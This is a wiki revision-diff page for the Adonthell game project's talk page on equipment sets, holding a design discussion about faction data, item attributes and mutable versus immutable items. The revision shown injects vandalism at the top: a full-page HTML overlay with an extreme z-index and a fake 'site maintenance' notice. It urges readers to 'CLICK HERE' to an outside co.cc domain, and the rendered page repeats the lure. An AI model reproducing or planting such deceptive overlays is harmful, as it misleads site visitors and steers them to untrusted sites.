Talk:Rules:Equipment Sets: Difference between revisions

From Adonthell
Jump to navigation Jump to search
No edit summary
No edit summary
Line 1: Line 1:
----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://esinyqynyso.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
----
=[http://esinyqynyso.co.cc CLICK HERE]=
----
</div>
So far we mainly worked out the background for our rules, characters, factions, etc ...
So far we mainly worked out the background for our rules, characters, factions, etc ...


Line 50: Line 58:
Items whose properties could change, like equipment that might fall into a state of disrepair after frequent use, cannot be stored that way. Each occurence in the game world needs to be an individual object that can change its properties without affecting others of its kind.
Items whose properties could change, like equipment that might fall into a state of disrepair after frequent use, cannot be stored that way. Each occurence in the game world needs to be an individual object that can change its properties without affecting others of its kind.


To keep memory usage down, it would be good to make as many items as possible immutable. This may sound restrictive, but with a little trick, even immutable items can change: this is done by ''transforming'' the item. For example, if a character applies poison to an <tt>arrow</tt>, we do not change a property of that arrow, instead we say this item is now a <tt>poisoned arrow</tt>. Both <tt>arrow</tt> and <tt>poisoned arrow</tt> can be immutable items for the engine, while to players it appears as if the <tt>arrow</tt> has changed its properties.
To keep memory usage down, it would be good to make as many items as possible immutable. This may sound restrictive, but with a little trick, even immutable items can change: this is done by ''transforming'' the item. For example, if a character applies poison to an &lt;tt>arrow&lt;/tt>, we do not change a property of that arrow, instead we say this item is now a &lt;tt>poisoned arrow&lt;/tt>. Both &lt;tt>arrow&lt;/tt> and &lt;tt>poisoned arrow&lt;/tt> can be immutable items for the engine, while to players it appears as if the &lt;tt>arrow&lt;/tt> has changed its properties.


<br>
&lt;br>
On a different note: mind if I move the faction specs to a page of their own? For one, the game mechanics will not spoil the faction descriptions and for a designer it would be more convenient to have all faction related implementation details available on one page.  
On a different note: mind if I move the faction specs to a page of their own? For one, the game mechanics will not spoil the faction descriptions and for a designer it would be more convenient to have all faction related implementation details available on one page.  



Revision as of 07:21, 24 November 2010



Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page


CLICK HERE


So far we mainly worked out the background for our rules, characters, factions, etc ...

What we need to do sooner or later is to cast those things in listings and tables that provide all the information required for implementation and content creation. Things we will need are:

  • Factions
    • Name
    • Requirements (What are the requirements to enter the faction)
    • Stat-Modifiers (What effects does the faction have on its members, like alignment changes or benefits to certain skills)
  • Items
    • Name
    • Category (What kind of item. Items can fall into multiple categories. We also should have a list of allowed categories. Example categories are 'Weapon', 'Armour', 'Poisoned', 'Stolen', etc.)
    • Stackable (Whether several items of the same kind can be kept in the same inventory slot)
    • Mutable (Whether item can change its properties. Things like coins or books are immutable, weapons that can have runes inscribed mutable)
    • Value (Abstract worth of the item. Actual price when buying and selling will be determined by haggle skill, supply in shop, faction, etc ...)
    • Weight (Weight of item, used to limit amount of items characters can carry according to their carrying capacity)
    • Charges (Number of times an item can be used. Mainly used for potions, magic wands, torches, etc ...)
    • Weight/Charge (Weight of a single charge. Total item weight = weight + charges * weight/charge)
    • Category specific stats (depend on item templates, need be specified later)
  • Bestiary
    • todo
  • etc

--Ksterker 10:36, 22 Mar 2006 (CET)

I just had a question about a few of these categories. I think I understand, but I want to be quite sure. I can start adding faction stat modifiers immediately, but item attributes are less clear:

Is it safe to presume that Value is the market value of the item?

Does the Mutability attribute determine the destructability of an item or how it can be altered by magick, alchemy, or equipment improvements?

--Cptlogic 1540, 3/22/2006 CST

Sorry! I should have been more verbose, but time only allowed for a quick listing. I'll annotate it now ... basically I picked the stuff from the current implementation, so I am stuck where there is no implementation yet.

--Ksterker 23:10, 22 Mar 2006 (CET)

Danke schon. I understand about time limitations. I'll start with factions, then move on to Items.

--Cptlogic 1822, 3/22/2006 CST

I had a thought about how to implement Item mutability for Ranged Weapons - Do it in two stages. The ammunition would be mutable, but only take temporary modifications like spell effects or alchemical effects. The launcher - bow, sling, crossbow, or atlatl would be subject to more permament modification using spells, more powerful alchemies, runemarking, and weapon improvements.

--Cptlogic 0250 3/23/2006 cst

Item immutablity/mutablility

This should probably go elsewhere (architecture doc perhaps), but since the discussion is going on here:

The idea behind mutable and immutable items is to save space. An immutable item is loaded once into an item pool and all occurences of that item in the entire game are actually references (or pointers) to that one item in the pool. As a result, immutable items cannot change their properties. If they would, suddenly all those items would change in the same way. Canditates for immutable items are coins, books, various ingredients ...

Items whose properties could change, like equipment that might fall into a state of disrepair after frequent use, cannot be stored that way. Each occurence in the game world needs to be an individual object that can change its properties without affecting others of its kind.

To keep memory usage down, it would be good to make as many items as possible immutable. This may sound restrictive, but with a little trick, even immutable items can change: this is done by transforming the item. For example, if a character applies poison to an <tt>arrow</tt>, we do not change a property of that arrow, instead we say this item is now a <tt>poisoned arrow</tt>. Both <tt>arrow</tt> and <tt>poisoned arrow</tt> can be immutable items for the engine, while to players it appears as if the <tt>arrow</tt> has changed its properties.

<br> On a different note: mind if I move the faction specs to a page of their own? For one, the game mechanics will not spoil the faction descriptions and for a designer it would be more convenient to have all faction related implementation details available on one page.

--Ksterker 19:39, 23 Mar 2006 (CET)

I don't mind in the least if you centralize that data. Once we finalize things, we can move this information to where it really belongs in the namespace.

I also understand about mutability, immutability, and item transformation.

--Cptlogic 2147 3/23/2006 CST